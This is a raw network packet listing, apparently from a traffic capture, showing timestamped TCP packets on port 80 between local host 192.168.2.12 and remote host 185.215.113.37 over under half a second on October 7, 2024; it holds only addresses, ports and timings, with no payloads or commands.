Oct 7, 2024 18:03:25.395198107 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.395207882 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.395220041 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.395220995 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.395231962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.395236015 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.395252943 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.395278931 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.395894051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.395905972 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.395915985 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.395926952 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.395936012 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.395942926 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.395948887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.395971060 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.395987988 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.473197937 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.473222017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.473233938 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.473297119 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.473297119 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.473342896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.473355055 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.473367929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.473377943 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.473390102 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.473392963 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.473447084 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.473447084 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.473666906 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.473685026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.473695040 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.473705053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.473716021 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.473723888 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.473726988 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.473738909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.473748922 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.473750114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.473762989 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.473773956 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.473793030 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.473793030 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.473804951 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.474335909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.474347115 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.474356890 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.474369049 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.474380016 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.474405050 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.474405050 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.474421978 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.474790096 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.474801064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.474812031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.474822044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.474833965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.474843979 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.474852085 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.474853992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.474867105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.474879026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.474889994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.474906921 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.474906921 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.474936962 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.475521088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.475533009 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.475543022 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.475553989 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.475564003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.475574017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.475584984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.475588083 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.475588083 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.475594997 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.475606918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.475609064 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.475619078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.475630045 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.475640059 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.475651026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.475663900 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.475663900 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.475694895 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.476419926 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.476433039 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.476443052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.476453066 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.476464033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.476475954 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.476476908 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.476488113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.476517916 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.476537943 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.513156891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.513186932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.513196945 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.513365030 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.513551950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.513647079 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.513657093 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.513695955 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.513695955 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.561741114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.561762094 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.561773062 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.561783075 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.561793089 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.561804056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.561814070 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.561825037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.561860085 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.561871052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.561881065 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.561882019 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.561966896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.561980009 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.562024117 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.562024117 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.562105894 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.562117100 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.562128067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.562139034 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.562151909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.562165976 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.562165976 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.563174963 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563191891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563200951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563211918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563221931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563231945 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563245058 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563251019 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.563251019 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.563256979 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563270092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563281059 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563291073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563299894 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563309908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563309908 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.563309908 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.563319921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563329935 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563340902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563345909 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.563345909 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.563352108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563361883 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563371897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563380957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563404083 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.563404083 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.563416004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563426018 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563436031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563446999 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.563446999 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.563929081 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.563970089 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.563970089 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.564026117 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.564039946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.564088106 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.564088106 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.564167023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.564177990 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.564188004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.564198971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.564218044 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.564218044 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.564395905 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.564407110 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.564440012 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.564440012 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.564548969 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.564553022 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.564560890 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.564570904 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.564580917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.564590931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.564593077 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.564604044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.564616919 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.564630985 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.564630985 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.565021038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.565253019 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.565253019 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.637895107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.637913942 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.637926102 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.638204098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.638263941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.638273001 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.638303995 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.638303995 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.638572931 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.685765028 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.685781956 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.685794115 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.685843945 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.685843945 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.685873985 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.685885906 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.685898066 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.685906887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.685940027 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.685940027 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.686022997 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.686033010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.686043024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.686053038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.686063051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.686074018 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.686224937 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.686239004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.686249971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.686269999 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.686269999 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.686404943 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.686415911 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.686425924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.686440945 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.686440945 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.686575890 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.686785936 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.686805964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.686815023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.686851025 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.686856985 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.686868906 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.686880112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.686892033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.686897039 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.686932087 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.686932087 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.687052965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.687063932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.687074900 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.687088013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.687098026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.687108994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.687118053 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.687118053 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.687119961 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.687338114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.687376976 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.687376976 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.687572002 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.687647104 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.687659025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.687693119 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.687693119 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.687784910 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.687797070 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.687807083 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.687818050 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.687828064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.687859058 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.687859058 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.688124895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.688137054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.688148022 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.688157082 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.688168049 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.688178062 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.688188076 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.688188076 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.688189030 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.688200951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.688229084 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.688229084 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.688525915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.688539028 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.688549995 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.688560963 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.688560963 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.688575029 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.688585043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.688596010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.688605070 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.688605070 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.688610077 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.688647032 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.688647032 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.688966036 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.688977957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.688987970 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.688998938 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.689011097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.689018011 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.689018011 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.689022064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.689033985 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.689042091 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.689071894 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.689071894 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.762217999 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.762285948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.762295008 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.762471914 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.762723923 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.762876987 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.762938976 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.762940884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.762950897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.763015032 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.824034929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.824424982 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.824435949 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.824466944 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.824466944 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.824491024 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.824569941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.824580908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.824592113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.824601889 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.824625015 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.824625015 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.824784040 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.824826002 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.824826002 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.824829102 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.824841976 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.824976921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.824987888 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.824997902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.825009108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.825016022 CEST	49711	80	192.168.2.12	185.215.113.37
